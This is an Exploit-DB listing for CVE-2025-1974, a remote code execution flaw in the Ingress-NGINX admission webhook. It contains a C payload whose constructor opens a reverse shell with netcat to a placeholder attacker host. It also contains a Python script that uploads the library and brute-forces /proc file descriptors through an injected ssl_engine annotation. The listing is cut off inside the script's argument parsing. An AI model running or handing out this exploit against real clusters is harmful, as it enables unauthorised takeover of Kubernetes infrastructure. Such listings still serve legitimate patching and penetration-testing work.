Exploit-DB #52338
Description: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2025-06-20
Author: Likhith Appalaneni

Exploit:
# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE)
# Google Dork: N/A
# Date: 2025-06-19
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://kubernetes.github.io/ingress-nginx/
# Software Link: https://github.com/kubernetes/ingress-nginx
# Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube)
# Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest
# CVE : CVE-2025-1974

1) Update the attacker ip and listening port in shell.c and Compile the shell payload:
gcc -fPIC -shared -o shell.so shell.c

2) Run the exploit:
python3 exploit.py

The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution.

<---> shell.c <--->

#include <stdlib.h>
__attribute__((constructor)) void init() {
   system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); 
}

<---> shell.c <--->
<---> exploit.py <--->

import json
import requests
import threading
import time
import urllib3
import socket
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def upload_shell_via_socket(file_path, target_host, target_port):
    print("[*] Uploading shell.so via raw socket to keep FD open...")
    try:
        with open(file_path, "rb") as f:
            data = f.read()
        data += b"\x00" * (16384 - len(data) % 16384)
        content_len = len(data) + 2024

        payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_host, target_port))
        sock.sendall(payload)
        print("[*] Payload sent, holding connection open for 220s...")
        time.sleep(220)
        sock.close()
    except Exception as e:
        print(f"[!] Upload failed: {e}")

def build_payload(pid, fd):
    annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
    return {
        "kind": "AdmissionReview",
        "apiVersion": "admission.k8s.io/v1",
        "request": {
            "uid": "exploit-uid",
            "kind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "resource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "requestKind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "requestResource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "name": "example-ingress",
            "operation": "CREATE",
            "userInfo": {
                "username": "kube-review",
                "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
            },
            "object": {
                "kind": "Ingress",
                "apiVersion": "networking.k8s.io/v1",
                "metadata": {
                    "name": "example-ingress",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/auth-url": annotation
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [
                        {
                            "host": "hello-world.com",
                            "http": {
                                "paths": [
                                    {
                                        "path": "/",
                                        "pathType": "Prefix",
                                        "backend": {
                                            "service": {
                                                "name": "web",
                                                "port": { "number": 8080 }
                                            }
                                        }
                                    }
                                ]
                            }
                        }
                    ]
                }
            },
            "oldObject": None,
            "dryRun": False,
            "options": {
                "kind": "CreateOptions",
                "apiVersion": "meta.k8s.io/v1"
            }
        }
    }

def send_requests(admission_url, pid_range, fd_range):
    for pid in range(pid_range[0], pid_range[1]):
        for fd in range(fd_range[0], fd_range[1]):
            print(f"Trying /proc/{pid}/fd/{fd}")
            payload = build_payload(pid, fd)
            try:
                resp = requests.post(
                    f"{admission_url}/networking/v1/ingresses",
                    headers={"Content-Type": "application/json"},
                    data=json.dumps(payload),
                    verify=False,
                    timeout=5
                )
                result = resp.json()
                msg = result.get("response", {}).get("status", {}).get("message", "")
                if "No such file" in msg or "Permission denied" in msg:
                    continue
                print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
    parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
    parser.add_argument("--shell", default="shell.so", hel